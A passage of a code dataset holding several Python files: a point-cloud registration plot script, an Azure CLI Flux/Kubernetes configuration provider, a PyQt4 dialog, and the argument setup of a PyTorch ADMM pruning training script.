read_pcl_file(reading_path), read_pcl_file(reference_path)\n\ndef subsample_pointcloud(pointcloud, size=5000):\n subsample_of_pts = np.random.choice(pointcloud.shape[1], size=size)\n return pointcloud[:, subsample_of_pts]\n\ndef plot_pointcloud(pointcloud, ax, color='k'):\n ax.scatter(pointcloud[0,:], pointcloud[1,:], pointcloud[2,:], s=0.25, color=color)\n\ndef fetch_args():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"kind\", help=\"Kind of dataset to use. <oru|ethz>\", type=str)\n parser.add_argument(\"dataset\", help=\"Path to the dataset\", type=str)\n parser.add_argument(\"reading\", help=\"Index of the pointcloud to use as reading\", type=int)\n parser.add_argument(\"reference\", help=\"Index of the pointcloud to use as reference\", type=int)\n\n return parser.parse_args()\n\nif __name__ == '__main__':\n np.set_printoptions(precision=2)\n args = fetch_args()\n\n dataset = create_registration_dataset(args.kind, args.dataset)\n\n reading, reference = read_pcl_files(dataset, args.reading, args.reference)\n\n t_odom = dataset.odometry_estimate(args.reading, args.reference)\n print(\"odometry_estimate\")\n print(t_odom)\n\n t_gt = dataset.ground_truth(args.reading, args.reference)\n print(\"Ground truth\")\n print(t_gt)\n\n print(\"Sampling ndt...\")\n algo = AlgorithmFactory.create('ndt')\n algo.initial_estimate_covariance = 0.05\n ndt_result = algo.compute_covariance_with_dataset(dataset, args.reading, args.reference)\n print(ndt_result['covariance'])\n\n print(\"Sampling icp...\")\n algo = AlgorithmFactory.create('icp')\n algo.initial_estimate_covariance = 0.05\n icp_result = algo.compute_covariance_with_dataset(dataset, args.reading, args.reference)\n print(icp_result['covariance'])\n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n\n reading = subsample_pointcloud(reading, 2000)\n reference = subsample_pointcloud(reference, 2000)\n\n # Center the plot around the ground truth.\n center = t_gt[0:3,3]\n ax.set_xlim(-5 + center[0], 5 + center[0])\n ax.set_ylim(-5 + center[1], 5 + center[1])\n ax.set_zlim(-5 + center[2], 5 + center[2])\n\n plot_pointcloud(reference, ax)\n plot_pointcloud(np.dot(t_gt, reading), ax, '0.5')\n\n plot_covariance_matrix(icp_result['mean'][0:3,3], icp_result['covariance'], ax)\n plot_covariance_matrix(ndt_result['mean'][0:3,3], ndt_result['covariance'], ax, color='r')\n plt.show()\n\n","sub_path":"recova/plot_match.py","file_name":"plot_match.py","file_ext":"py","file_size_in_byte":5194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"215980838","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# --------------------------------------------------------------------------------------------\n\n# pylint: disable=unused-argument\n\nimport os\n\nfrom azure.cli.core.azclierror import DeploymentError, ResourceNotFoundError, ValidationError\nfrom azure.cli.core.util import sdk_no_wait\nfrom azure.cli.core.commands.client_factory import get_subscription_id\n\nfrom azure.core.exceptions import HttpResponseError\nfrom knack.log import get_logger\n\nfrom ..confirm import user_confirmation_factory\nfrom .._client_factory import (\n cf_resources,\n k8s_configuration_fluxconfig_client,\n k8s_configuration_extension_client\n)\nfrom ..utils import (\n get_parent_api_version,\n get_cluster_rp,\n get_data_from_key_or_file,\n parse_dependencies,\n parse_duration,\n has_prune_enabled,\n to_base64,\n is_dogfood_cluster\n)\nfrom ..validators import (\n validate_cc_registration,\n validate_known_hosts,\n validate_repository_ref,\n validate_duration,\n validate_git_repository,\n validate_private_key,\n validate_url_with_params\n)\nfrom .. import consts\nfrom ..vendored_sdks.v2021_11_01_preview.models import (\n FluxConfiguration,\n FluxConfigurationPatch,\n GitRepositoryDefinition,\n RepositoryRefDefinition,\n KustomizationDefinition,\n DependsOnDefinition\n)\nfrom ..vendored_sdks.v2021_05_01_preview.models import (\n Extension,\n Identity\n)\nfrom .SourceControlConfigurationProvider import SourceControlConfigurationProvider\n\nlogger = get_logger(__name__)\n\n\nclass FluxConfigurationProvider:\n def __init__(self, cmd):\n self.extension_client = k8s_configuration_extension_client(cmd.cli_ctx)\n self.source_control_configuration_provider = SourceControlConfigurationProvider(cmd)\n self.cmd = cmd\n self.client = k8s_configuration_fluxconfig_client(cmd.cli_ctx)\n\n def show(self, resource_group_name, cluster_type, cluster_name, name):\n \"\"\"Get an existing Kubernetes Source Control Configuration.\n\n \"\"\"\n # Determine ClusterRP\n cluster_rp = get_cluster_rp(cluster_type)\n try:\n config = self.client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)\n return config\n except HttpResponseError as ex:\n # Customize the error message for resources not found\n if ex.response.status_code == 404:\n # If Cluster not found\n if ex.message.__contains__(\"(ResourceNotFound)\"):\n message = ex.message\n recommendation = 'Verify that the --cluster-type is correct and the Resource ' \\\n '{0}/{1}/{2} exists'.format(cluster_rp, cluster_type, cluster_name)\n # If Configuration not found\n elif ex.message.__contains__(\"Operation returned an invalid status code 'Not Found'\"):\n message = '(FluxConfigurationNotFound) The Resource {0}/{1}/{2}/' \\\n 'Microsoft.KubernetesConfiguration/fluxConfigurations/{3} ' \\\n 'could not be found!' \\\n .format(cluster_rp, cluster_type, cluster_name, name)\n recommendation = 'Verify that the Resource {0}/{1}/{2}/Microsoft.KubernetesConfiguration' \\\n '/fluxConfigurations/{3} exists'.format(cluster_rp, cluster_type,\n cluster_name, name)\n else:\n message = ex.message\n recommendation = ''\n raise ResourceNotFoundError(message, recommendation) from ex\n raise ex\n\n def list(self, resource_group_name, cluster_type, cluster_name):\n cluster_rp = get_cluster_rp(cluster_type)\n return self.client.list(resource_group_name, cluster_rp, cluster_type, cluster_name)\n\n # pylint: disable=too-many-locals\n def create(self, resource_group_name, cluster_type, cluster_name, name, url=None, scope='cluster',\n namespace='default', kind=consts.GIT, timeout=None, sync_interval=None, branch=None,\n tag=None, semver=None, commit=None, local_auth_ref=None, ssh_private_key=None,\n ssh_private_key_file=None, https_user=None, https_key=None, https_ca_cert=None,\n https_ca_cert_file=None, known_hosts=None, known_hosts_file=None, suspend=False,\n kustomization=None, no_wait=False):\n\n # Determine the cluster RP\n cluster_rp = get_cluster_rp(cluster_type)\n dp_source_kind = \"\"\n git_repository = None\n\n # Validate and Create the Data before checking the cluster compataibility\n if kind == consts.GIT:\n dp_source_kind = consts.GIT_REPOSITORY\n git_repository = self._validate_and_get_gitrepository(url, branch, tag, semver, commit, timeout,\n sync_interval, ssh_private_key,\n ssh_private_key_file, https_user,\n https_key, https_ca_cert, https_ca_cert_file,\n known_hosts, known_hosts_file, local_auth_ref, True)\n\n if kustomization:\n # Convert the Internal List Representation of Kustomization to Dictionary\n kustomization = {k.name: k.to_KustomizationDefinition() for k in kustomization}\n else:\n logger.warning(consts.NO_KUSTOMIZATIONS_WARNING)\n kustomization = {\n consts.DEFAULT_KUSTOMIZATION_NAME: KustomizationDefinition()\n }\n\n # Get the protected settings and validate the private key value\n protected_settings = get_protected_settings(\n ssh_private_key, ssh_private_key_file, https_user, https_key\n )\n if protected_settings and consts.SSH_PRIVATE_KEY_KEY in protected_settings:\n validate_private_key(protected_settings['sshPrivateKey'])\n\n flux_configuration = FluxConfiguration(\n scope=scope,\n namespace=namespace,\n source_kind=dp_source_kind,\n git_repository=git_repository,\n suspend=suspend,\n kustomizations=kustomization,\n configuration_protected_settings=protected_settings,\n )\n\n self._validate_source_control_config_not_installed(resource_group_name, cluster_type, cluster_name)\n self._validate_extension_install(resource_group_name, cluster_rp, cluster_type, cluster_name, no_wait)\n\n logger.warning(\"Creating the flux configuration '%s' in the cluster. This may take a few minutes...\", name)\n\n return sdk_no_wait(no_wait, self.client.begin_create_or_update, resource_group_name, cluster_rp,\n cluster_type, cluster_name, name, flux_configuration)\n\n def update(self, resource_group_name, cluster_type, cluster_name, name, url=None,\n timeout=None, sync_interval=None, branch=None, tag=None, semver=None,\n commit=None, local_auth_ref=None, ssh_private_key=None, ssh_private_key_file=None,\n https_user=None, https_key=None, https_ca_cert=None, https_ca_cert_file=None, known_hosts=None,\n known_hosts_file=None, suspend=None, kustomization=None, no_wait=False):\n # Determine the cluster RP\n cluster_rp = get_cluster_rp(cluster_type)\n\n git_repository = None\n if any([url, branch, tag, semver, commit,\n timeout, sync_interval,\n ssh_private_key, ssh_private_key_file,\n https_user, https_key, https_ca_cert,\n https_ca_cert_file, known_hosts,\n known_hosts_file, local_auth_ref]):\n git_repository = self._validate_and_get_gitrepository(url, branch, tag, semver, commit,\n timeout, sync_interval,\n ssh_private_key, ssh_private_key_file,\n https_user, https_key, https_ca_cert,\n https_ca_cert_file, known_hosts,\n known_hosts_file, local_auth_ref, False)\n\n if kustomization:\n # Convert the Internal List Representation of Kustomization to Dictionary\n kustomization = {k.name: k.to_KustomizationDefinition() for k in kustomization}\n\n # Get the protected settings and validate the private key value\n protected_settings = get_protected_settings(\n ssh_private_key, ssh_private_key_file, https_user, https_key\n )\n if protected_settings and consts.SSH_PRIVATE_KEY_KEY in protected_settings:\n validate_private_key(protected_settings['sshPrivateKey'])\n\n flux_configuration = FluxConfigurationPatch(\n git_repository=git_repository,\n suspend=suspend,\n kustomizations=kustomization,\n configuration_protected_settings=protected_settings,\n )\n\n return sdk_no_wait(no_wait, self.client.begin_update, resource_group_name, cluster_rp,\n cluster_type, cluster_name, name, flux_configuration)\n\n def create_kustomization(self, resource_group_name, cluster_type, cluster_name, name,\n kustomization_name, dependencies=None, timeout=None, sync_interval=None,\n retry_interval=None, path='', prune=False, force=False, no_wait=False):\n # Pre-Validation\n validate_duration(\"--timeout\", timeout)\n validate_duration(\"--sync-interval\", sync_interval)\n validate_duration(\"--retry-interval\", retry_interval)\n\n # Determine ClusterRP\n cluster_rp = get_cluster_rp(cluster_type)\n current_config = self.client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)\n if kustomization_name in current_config.kustomizations:\n raise ValidationError(\n consts.CREATE_KUSTOMIZATION_EXIST_ERROR.format(kustomization_name, name),\n consts.CREATE_KUSTOMIZATION_EXIST_HELP\n )\n\n # Add the dependencies in their model to the kustomization\n model_dependencies = None\n if dependencies:\n model_dependencies = []\n for dep in parse_dependencies(dependencies):\n model_dependencies.append(\n DependsOnDefinition(\n kustomization_name=dep\n )\n )\n\n kustomization = {\n kustomization_name: KustomizationDefinition(\n path=path,\n depends_on=model_dependencies,\n timeout_in_seconds=parse_duration(timeout),\n sync_interval_in_seconds=parse_duration(sync_interval),\n retry_interval_in_seconds=parse_duration(retry_interval),\n prune=prune,\n force=force\n )\n }\n flux_configuration_patch = FluxConfigurationPatch(\n kustomizations=kustomization\n )\n return sdk_no_wait(no_wait, self.client.begin_update, resource_group_name, cluster_rp,\n cluster_type, cluster_name, name, flux_configuration_patch)\n\n def update_kustomization(self, resource_group_name, cluster_type, cluster_name, name,\n kustomization_name, dependencies=None, timeout=None, sync_interval=None,\n retry_interval=None, path=None, prune=False, force=False, no_wait=False):\n # Pre-Validation\n validate_duration(\"--timeout\", timeout)\n validate_duration(\"--sync-interval\", sync_interval)\n validate_duration(\"--retry-interval\", retry_interval)\n\n # Determine ClusterRP\n cluster_rp = get_cluster_rp(cluster_type)\n current_config = self.client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)\n if kustomization_name not in current_config.kustomizations:\n raise ValidationError(\n consts.UPDATE_KUSTOMIZATION_NO_EXIST_ERROR.format(kustomization_name, name),\n consts.UPDATE_KUSTOMIZATION_NO_EXIST_HELP\n )\n\n # Add the dependencies in their model to the kustomization\n model_dependencies = None\n if dependencies:\n model_dependencies = []\n for dep in parse_dependencies(dependencies):\n model_dependencies.append(\n DependsOnDefinition(\n kustomization_name=dep\n )\n )\n\n kustomization = {\n kustomization_name: KustomizationDefinition(\n path=path,\n depends_on=model_dependencies,\n timeout_in_seconds=parse_duration(timeout),\n sync_interval_in_seconds=parse_duration(sync_interval),\n retry_interval_in_seconds=parse_duration(retry_interval),\n prune=prune,\n force=force\n )\n }\n flux_configuration_patch = FluxConfigurationPatch(\n kustomizations=kustomization\n )\n return sdk_no_wait(no_wait, self.client.begin_update, resource_group_name, cluster_rp,\n cluster_type, cluster_name, name, flux_configuration_patch)\n\n def delete_kustomization(self, resource_group_name, cluster_type, cluster_name, name,\n kustomization_name, no_wait=False, yes=False):\n # Confirmation message for deletes\n user_confirmation_factory(self.cmd, yes)\n\n # Determine ClusterRP\n cluster_rp = get_cluster_rp(cluster_type)\n\n current_config = self.client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)\n if kustomization_name not in current_config.kustomizations:\n raise ValidationError(\n consts.DELETE_KUSTOMIZATION_NO_EXIST_ERROR.format(kustomization_name, name),\n consts.DELETE_KUSTOMIZATION_NO_EXIST_HELP\n )\n\n if current_config.kustomizations[kustomization_name].prune:\n logger.warning(\"Prune is enabled on this kustomization. Deleting a kustomization \"\n \"with prune enabled will also delete the Kubernetes objects \"\n \"deployed by the kustomization.\")\n user_confirmation_factory(self.cmd, yes, \"Do you want to continue?\")\n\n kustomization = {\n kustomization_name: None\n }\n flux_configuration_patch = FluxConfigurationPatch(\n kustomizations=kustomization\n )\n return sdk_no_wait(no_wait, self.client.begin_update, resource_group_name, cluster_rp,\n cluster_type, cluster_name, name, flux_configuration_patch)\n\n def list_kustomization(self, resource_group_name, cluster_type, cluster_name, name):\n # Determine ClusterRP\n cluster_rp = get_cluster_rp(cluster_type)\n current_config = self.client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)\n return current_config.kustomizations\n\n def show_kustomization(self, resource_group_name, cluster_type, cluster_name, name, kustomization_name):\n # Determine ClusterRP\n cluster_rp = get_cluster_rp(cluster_type)\n current_config = self.client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)\n if kustomization_name not in current_config.kustomizations:\n raise ValidationError(\n consts.SHOW_KUSTOMIZATION_NO_EXIST_ERROR.format(kustomization_name, name),\n consts.SHOW_KUSTOMIZATION_NO_EXIST_HELP\n )\n return {kustomization_name: current_config.kustomizations[kustomization_name]}\n\n def list_deployed_object(self, resource_group_name, cluster_type, cluster_name, name):\n # Determine ClusterRP\n cluster_rp = get_cluster_rp(cluster_type)\n current_config = self.client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)\n return current_config.statuses\n\n def show_deployed_object(self, resource_group_name, cluster_type, cluster_name, name,\n object_name, object_namespace, object_kind):\n # Determine ClusterRP\n cluster_rp = get_cluster_rp(cluster_type)\n current_config = self.client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)\n\n for status in current_config.statuses:\n if status.name == object_name and status.namespace == object_namespace and status.kind == object_kind:\n return status\n raise ValidationError(\n consts.SHOW_DEPLOYED_OBJECT_NO_EXIST_ERROR.format(object_name, object_namespace, object_kind, name),\n consts.SHOW_DEPLOYED_OBJECT_NO_EXIST_HELP\n )\n\n def delete(self, resource_group_name, cluster_type, cluster_name, name, force, no_wait, yes):\n # Confirmation message for deletes\n user_confirmation_factory(self.cmd, yes)\n\n # Determine ClusterRP\n cluster_rp = get_cluster_rp(cluster_type)\n\n config = None\n try:\n config = self.client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)\n except HttpResponseError:\n logger.warning(\"No flux configuration with name '%s' found on cluster '%s', so nothing to delete\",\n name, cluster_name)\n return None\n\n if has_prune_enabled(config):\n logger.warning(\"Prune is enabled on one or more of your kustomizations. Deleting a Flux \"\n \"configuration with prune enabled will also delete the Kubernetes objects \"\n \"deployed by the kustomization(s).\")\n user_confirmation_factory(self.cmd, yes, \"Do you want to continue?\")\n\n if not force:\n logger.info(\"Deleting the flux configuration from the cluster. This may take a few minutes...\")\n return sdk_no_wait(no_wait, self.client.begin_delete, resource_group_name, cluster_rp, cluster_type,\n cluster_name, name, force_delete=force)\n\n def _is_deferred(self):\n if '--defer' in self.cmd.cli_ctx.data.get('safe_params'):\n return True\n return False\n\n def _validate_source_control_config_not_installed(self, resource_group_name, cluster_type, cluster_name):\n # Validate if we are able to install the flux configuration\n configs = self.source_control_configuration_provider.list(resource_group_name, cluster_type, cluster_name)\n # configs is an iterable, no len() so we have to iterate to check for configs\n for _ in configs:\n raise DeploymentError(\n consts.SCC_EXISTS_ON_CLUSTER_ERROR,\n consts.SCC_EXISTS_ON_CLUSTER_HELP)\n\n def _validate_extension_install(self, resource_group_name, cluster_rp, cluster_type, cluster_name, no_wait):\n # Validate if the extension is installed, if not, install it\n extensions = self.extension_client.list(resource_group_name, cluster_rp, cluster_type, cluster_name)\n flux_extension = None\n for extension in extensions:\n if extension.extension_type.lower() == consts.FLUX_EXTENSION_TYPE:\n flux_extension = extension\n break\n if not flux_extension:\n logger.warning(\"'Microsoft.Flux' extension not found on the cluster, installing it now.\"\n \" This may take a few minutes...\")\n\n extension = Extension(\n extension_type=\"microsoft.flux\",\n auto_upgrade_minor_version=True,\n release_train=os.getenv(consts.FLUX_EXTENSION_RELEASETRAIN),\n version=os.getenv(consts.FLUX_EXTENSION_VERSION)\n )\n if not is_dogfood_cluster(self.cmd):\n extension = self.__add_identity(extension,\n resource_group_name,\n cluster_rp,\n cluster_type,\n cluster_name)\n\n logger.info(\"Starting extension creation on the cluster. This might take a few minutes...\")\n sdk_no_wait(no_wait, self.extension_client.begin_create, resource_group_name, cluster_rp, cluster_type,\n cluster_name, \"flux\", extension).result()\n # Only show that we have received a success when we have --no-wait\n if not no_wait:\n logger.warning(\"'Microsoft.Flux' extension was successfully installed on the cluster\")\n elif flux_extension.provisioning_state == consts.CREATING:\n raise DeploymentError(\n consts.FLUX_EXTENSION_CREATING_ERROR,\n consts.FLUX_EXTENSION_CREATING_HELP\n )\n elif flux_extension.provisioning_state != consts.SUCCEEDED:\n # Print the error detail so the user know how to fix it\n if flux_extension.error_detail:\n logger.error('%s %s', flux_extension.error_detail.code, flux_extension.error_detail.message)\n raise DeploymentError(\n consts.FLUX_EXTENSION_NOT_SUCCEEDED_OR_CREATING_ERROR,\n consts.FLUX_EXTENSION_NOT_SUCCEEDED_OR_CREATING_HELP\n )\n\n def _validate_and_get_gitrepository(self, url, branch, tag, semver, commit, timeout, sync_interval,\n ssh_private_key, ssh_private_key_file, https_user, https_key,\n https_ca_cert, https_ca_cert_file, known_hosts, known_hosts_file,\n local_auth_ref, is_create):\n # Pre-Validation\n validate_duration(\"--timeout\", timeout)\n validate_duration(\"--sync-interval\", sync_interval)\n\n # Get the known hosts data and validate it\n knownhost_data = get_data_from_key_or_file(known_hosts, known_hosts_file, strip_newline=True)\n if knownhost_data:\n validate_known_hosts(knownhost_data)\n\n https_ca_data = get_data_from_key_or_file(https_ca_cert, https_ca_cert_file, strip_newline=True)\n\n # Validate registration with the RP endpoint\n validate_cc_registration(self.cmd)\n\n if is_create:\n validate_git_repository(url)\n validate_url_with_params(url, ssh_private_key, ssh_private_key_file,\n known_hosts, known_hosts_file, https_user, https_key)\n validate_repository_ref(branch, tag, semver, commit)\n\n repository_ref = None\n if any([branch, tag, semver, commit]):\n repository_ref = RepositoryRefDefinition(\n branch=branch,\n tag=tag,\n semver=semver,\n commit=commit\n )\n\n # Encode the https username to base64\n if https_user:\n https_user = to_base64(https_user)\n\n return GitRepositoryDefinition(\n url=url,\n timeout_in_seconds=parse_duration(timeout),\n sync_interval_in_seconds=parse_duration(sync_interval),\n repository_ref=repository_ref,\n ssh_known_hosts=knownhost_data,\n https_user=https_user,\n local_auth_ref=local_auth_ref,\n https_ca_file=https_ca_data\n )\n\n def __add_identity(self, extension_instance, resource_group_name, cluster_rp, cluster_type, cluster_name):\n subscription_id = get_subscription_id(self.cmd.cli_ctx)\n resources = cf_resources(self.cmd.cli_ctx, subscription_id)\n\n cluster_resource_id = '/subscriptions/{0}/resourceGroups/{1}/providers/{2}/{3}/{4}'.format(subscription_id,\n resource_group_name,\n cluster_rp,\n cluster_type,\n cluster_name)\n\n if cluster_rp == consts.MANAGED_RP_NAMESPACE:\n return extension_instance\n parent_api_version = get_parent_api_version(cluster_rp)\n try:\n resource = resources.get_by_id(cluster_resource_id, parent_api_version)\n location = str(resource.location.lower())\n except HttpResponseError as ex:\n raise ex\n identity_type = \"SystemAssigned\"\n\n extension_instance.identity = Identity(type=identity_type)\n extension_instance.location = location\n return extension_instance\n\n\ndef get_protected_settings(ssh_private_key, ssh_private_key_file, https_user, https_key):\n protected_settings = {}\n ssh_private_key_data = get_data_from_key_or_file(ssh_private_key, ssh_private_key_file)\n\n # Add gitops private key data to protected settings if exists\n # Dry-run all key types to determine if the private key is in a valid format\n if ssh_private_key_data:\n protected_settings[consts.SSH_PRIVATE_KEY_KEY] = ssh_private_key_data\n\n # Check if both httpsUser and httpsKey exist, then add to protected settings\n if https_user and https_key:\n protected_settings[consts.HTTPS_KEY_KEY] = to_base64(https_key)\n\n # Return the protected settings dict if there are any values there\n return protected_settings if len(protected_settings) > 0 else None\n","sub_path":"src/k8s-configuration/azext_k8s_configuration/providers/FluxConfigurationProvider.py","file_name":"FluxConfigurationProvider.py","file_ext":"py","file_size_in_byte":26095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"109205149","text":"from PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nimport os\n\nfrom _dialogs_ import LDialog\nfrom setup import *\n\n#----------------------------------------------------------------------\nclass LConfigureDialog(LDialog):\n\n apply = pyqtSignal()\n\n def __init__(self, dataContainer=None, parent=None):\n super(LConfigureDialog, self).__init__(parent)\n self.dataContainer = dataContainer\n self.setupUi()\n self.updateUi()\n\n def setupUi(self):\n self.setWindowTitle(\"Configure\")\n self.tableWidget = QTableWidget(self)\n self.tableWidget.setSortingEnabled(False)\n self.tableWidget.setColumnCount(len(TABLE_HEADERS))\n if self.dataContainer is not None: \n rowCount = len(self.dataContainer.knobs)\n else:\n rowCount = 3\n self.tableWidget.setRowCount(rowCount)\n self.tableWidget.setHorizontalHeaderLabels(TABLE_HEADERS)\n self.tableWidget.setSelectionBehavior(QAbstractItemView.SelectRows)\n self.tableWidget.setSelectionMode(QAbstractItemView.SingleSelection)\n self.tableWidget.setSelectionMode(QAbstractItemView.SingleSelection)\n self.tableWidget.adjustSize()\n\n spacerItem = QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding)\n\n\n layout = QVBoxLayout(self)\n layout.addWidget(self.tableWidget)\n self.setLayout(layout)\n self.resize(400, 200)\n\n self.setUpdateTimeout(UPDATE_TIMEOUT)\n self.setCloseTimeout(CLOSE_TIMEOUT)\n\n def updateUi(self):\n if self.dataContainer is not None:\n for row, knob in enumerate(self.dataContainer.knobs):\n for column, value in enumerate(knob):\n item = QTableWidgetItem(\"%s\" % value)\n flags = item.flags()\n item.setFlags(flags & ~Qt.ItemIsEditable)\n self.tableWidget.setItem(row, column, item) \n #self.tableWidget.resizeColumnsToContents()\n self.tableWidget.resizeRowsToContents()\n self.tableWidget.horizontalHeader().setStretchLastSection(True)\n \n \n#----------------------------------------------------------------------\n# MAIN\n#----------------------------------------------------------------------\n\ndef main():\n import sys\n from containers import LMyDataContainer\n qApp = QApplication(sys.argv)\n #dialog = LConfigureDialog(LMyDataContainer())\n dialog = LConfigureDialog()\n dialog.show()\n sys.exit(qApp.exec_())\n\n\nif __name__ == \"__main__\": \n main()\n","sub_path":"cls1/eggs/build/lib/lti/widgets/pvknob/dialogs.py","file_name":"dialogs.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"118939292","text":"from __future__ import print_function\nimport os\nimport sys\nimport logging\nimport argparse\nimport time\nimport yaml\nimport copy\nfrom time import strftime\nimport torch\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\n\nimport models\nimport admm\nfrom admm import GradualWarmupScheduler\nfrom admm import CrossEntropyLossMaybeSmooth\nfrom admm import mixup_data, mixup_criterion\nfrom testers import *\nfrom utils import *\nfrom TrainValTest import CVTrainValTest\nnp.set_printoptions(threshold=False)\n\ndef str2bool(v):\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\ndef check_and_create(dir_path):\n if os.path.exists(dir_path):\n return True\n else:\n os.makedirs(dir_path)\n return False\n \n# Training settings\nparser = argparse.ArgumentParser(description='PyTorch CIFAR10 admm training')\nparser.add_argument('--logger', action='store_true', default=True,\n help='whether to use logger')\nparser.add_argument('--arch', type=str, default=None,\n help='[vgg, resnet, convnet, alexnet]')\nparser.add_argument('--depth', default=None, type=int,\n help='depth of the neural network, 16,19 for vgg; 18, 50 for resnet')\nparser.add_argument('--s', type=float, default=0.0001,\n help='scale sparse rate (default: 0.0001)')\nparser.add_argument('-j', '--workers', default=4, type=int, metavar='N',\n help='number of data loading workers (default: 4)')\nparser.add_argument('--multi-gpu', action='store_true', default=False,\n help='for multi-gpu training')\nparser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='input batch size for training (default: 64)')\nparser.add_argument('--test-batch-size', type=int, default=256, metavar='N',\n help='input batch size for testing (default: 256)')\nparser.add_argument('--admm-epochs', type=int, default=1, metavar='N',\n help='number of interval epochs to update admm (default: 1)')\nparser.add_argument('--optmzr', type=str, default='sgd', metavar='OPTMZR',\n help='optimizer used (default: adam)')\nparser.add_argument('--lr', type=float, default=0.001, metavar='LR',\n help='learning rate (default: 0.1)')\nparser.add_argument('--lr-decay', type=int, default=30, metavar='LR_decay',\n help='how many every epoch before lr drop (default: 30)')\nparser.add_argument('--momentum', type=float, default=0.9, metavar='M',\n help='SGD momentum (default: 0.9)')\nparser.add_argument('--weight-decay', '--wd', default=1e-4, type=float,\n metavar='W', help='weight decay (default: 1e-4)')\nparser.add_argument('--no-cuda', action='store_true', default=False,\n help='disables CUDA training')\nparser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\nparser.add_argument('--log-interval', type=int, default=100, metavar='N',\n help='how many batches to wait before logging training status')\nparser.add_argument('--save-model', type=str, default=\"\",\n help='For Saving the current Model')\nparser.add_argument('--masked-retrain', action='store_true', default=False,\n help='for masked retrain')\nparser.add_argument('--verbose', action='store_true', default=True,\n help='whether to report admm convergence condition')\nparser.add_argument('--admm', action='store_true', default=False,\n help=\"for admm training\")\nparser.add_argument('--rho', type=float, default = 0.0001,\n help =\"define rho for ADMM\")\nparser.add_argument('--rho-num', type=int, default = 4,\n help =\"define how many rohs for ADMM training\")\nparser.add_argument('--sparsity-type', type=str, default='random-pattern',\n help =\"define sparsity_type: [irregular,column,filter,pattern,random-pattern]\")\nparser.add_argument('--combine-progressive', default=False, type=str2bool,\n help=\"for filter pruning after column pruning\")\n\nparser.add_argument('--lr-scheduler', type=str, default='default',\n help='define lr scheduler')\nparser.add_argument('--warmup', action='store_true', default=False,\n help='warm-up scheduler')\nparser.add_argument('--warmup-lr', type=float, default=0.0001, metavar='M',\n help='warmup-lr, smaller than original lr')\nparser.add_argument('--warmup-epochs', type=int, default=0, metavar='M',\n help='number of epochs for lr warmup')\nparser.add_argument('--mixup', action='store_true', default=False,\n help='ce mixup')\nparser.add_argument('--alpha', type=float, default=0.0, metavar='M',\n help='for mixup training, lambda = Beta(alpha, alpha) distribution. Set to 0.0 to disable')\nparser.add_argument('--smooth', action='store_true', default=False,\n help='lable smooth')\nparser.add_argument('--smooth-eps', type=float, default=0.0, metavar='M',\n help='smoothing rate [0.0, 1.0], set to 0.0 to disable')\nparser.add_argument('--no-tricks', action='store_true', default=False,\n help='disable all training tricks and restore original classic training process')\n\n########### For Dataset\nparser.add_argument('--dataset', default='cifar', type=str, help='Specify the dataset type [cifar;mnist]')\nparser.add_argument('--exp_name', default='exp1', type=str, help='Specify the experiment name')\nparser.add_argument('--base_path', default='', type=str, help='Specify the data path')\nparser.add_argument('--save_path', default='', type=str, help='Specify the save path')\nparser.add_argument('--input_size', default=32, type=int, help='Specify the input size')\nparser.add_argument('--classes', default=10, type=int, help='Specify the number of classes')\n################## Lifelong Learning #####################\nparser.add_argument('--tasks', type=int, default=1,help='number of tasks')\nparser.add_argument('--mask', type=str, default=\"\",help='loading cumulative Mask')\nparser.add_argument('--config-file', type=str, default='', help =\"config file name\")\nparser.add_argument('--config-setting', metavar='N', default='1', help =\"If use manually setting, please set prune ratio for each task. Ex, for 5 tasks --config-setting 2,2,2,2,2\")\nparser.add_argument('--config-shrink', type=float, default=1, help =\"set the ratio of total model capacity to use\")\n\nparser.add_argument('--heritage-weight', type=str2bool, default=False, help='use previous weights for current tasks')\nparser.add_argument('--adaptive-mask', default=False, type=str2bool, help='adaptive learning the mask')\nparser.add_argument('--admm-mask', default=False, type=str2bool, help='adaptive learning the mask')\nparser.add_argument('--adaptive-ratio', default=1.0, type=float, help='adaptive learning the mask')\n\nparser.add_argument('--epochs', type=int, default=100, metavar='N', help='number of epochs to train base model (default: 160)')\nparser.add_argument('--epochs-prune', type=int, default=100, metavar='N', help='number of epochs to train admm (default: 160)')\nparser.add_argument('--epochs-mask-retrain', type=int, default=100, metavar='N', help='number of epochs to train mask (default: 160)')\nparser.add_argument('--mask-admm-epochs', type=int, default=1, metavar='N', help='number of interval epochs to update mask admm ')\n\nparser.add_argument('--load-model', type=str, default=\"\", help='For loading exist pure trained Model')\nparser.add_argument('--load-model-pruned', type=str, default=\"\", help='For loading exist pruned Model')\n\nargs = parser.parse_args()\n\nargs.cuda = not args.no_cuda and torch.cuda.is_available()\nif args.cuda:\n torch.cuda.manual_seed(args.seed)\nuse_cuda = not args.no_cuda and torch.cuda.is_available()\ndevice = torch.device(\"cuda:0\" if use_cuda else \"cpu\")\nkwargs = {'num_workers': args.workers, 'pin_memory': True} if args.cuda else {}\nwriter = None\nprint('Use Cuda:',use_cuda)\n# ------------------ save path 